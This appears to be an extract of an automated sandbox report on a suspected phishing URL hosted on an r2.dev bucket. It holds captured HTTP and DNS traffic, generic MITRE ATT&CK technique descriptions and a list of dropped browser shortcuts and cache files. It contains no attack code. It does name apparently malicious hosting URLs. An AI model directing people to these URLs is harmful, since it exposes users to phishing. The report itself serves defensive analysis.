Source: global traffic	HTTP traffic detected: GET /icon.png HTTP/1.1Host: bestfilltype.netlify.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /logo.png HTTP/1.1Host: bestfilltype.netlify.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gibberish-detector.js/gibberish.min.js HTTP/1.1Host: gtomitsuka.github.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /confirm.png HTTP/1.1Host: bestfilltype.netlify.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /full.png HTTP/1.1Host: bestfilltype.netlify.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /eye-close.png HTTP/1.1Host: bestfilltype.netlify.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tada.png HTTP/1.1Host: bestfilltype.netlify.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /icon.png HTTP/1.1Host: bestfilltype.netlify.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /icon.png HTTP/1.1Host: bestfilltype.netlify.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gibberish-detector.js/gibberish.min.js HTTP/1.1Host: gtomitsuka.github.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /index.html HTTP/1.1Host: pub-821bc2e4df6b408388d428df1bbc3d7f.r2.devConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: bestfilltype.netlify.app
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: gtomitsuka.github.io

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/index.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Chrome Cache Entry: 89

Chrome Cache Entry: 90

Windows Analysis Report
http://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/index.html